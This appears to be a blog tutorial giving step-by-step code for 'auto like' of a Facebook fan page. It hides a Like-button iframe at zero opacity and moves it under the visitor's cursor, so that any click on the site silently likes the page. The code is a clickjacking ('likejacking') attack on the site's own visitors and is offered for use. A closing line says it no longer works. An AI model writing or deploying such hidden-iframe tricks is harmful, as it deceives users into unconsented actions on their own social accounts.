Facebook Fan Page Auto Like

When someone click anywhere on your site they will automatically like your page, no need to put like button.

1. Put the below code in head tag:

Check the body are clicked yet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="jquery-1.9.1.js" type="text/javascript"></script>
<script type="text/javascript">
  var interval = 0;

  function updateActiveElement() {
    if($(document.activeElement).attr('id') == "fb-iframe") {
      clearInterval(interval);
      bodyClicked = true;
    }
  }

  $(function() {
    interval = setInterval("updateActiveElement();", 50);
  });

</script>

2. Put the below code in body tag:

Load facebook fan page like button & hide it
1
2
3
4
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
  <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_PAGE_URL[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe">
  </iframe>
</div>

And then find YOUR_PAGE_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/GeeKhmer).

3. Put the below code anywhere in html tag:

Set mousemove event to body & when body are clicked, it auto click on facebook like button
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
  var bodyClicked = false;
  var iframeWrapper = document.getElementById('iframe-wrapper');
  var standardBody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body;


  function mouseFollower(e) {
    // for internet explorer
    if (window.event) {
      iframeWrapper.style.top = (window.event.y - 5) + standardBody.scrollTop + 'px';
      iframeWrapper.style.left = (window.event.x - 5) + standardBody.scrollLeft + 'px';
    }
    else {
      iframeWrapper.style.top = (e.pageY-5) + 'px';
      iframeWrapper.style.left = (e.pageX-5) + 'px';
    }
  }

  document.onmousemove = function(e) {
    if(bodyClicked == false) {
      mouseFollower(e);
    }
  }
</script>

You can download the source code and try it out.

The code in this article is no longer working. Here is ”Facebook Fan Page Auto Like - Revised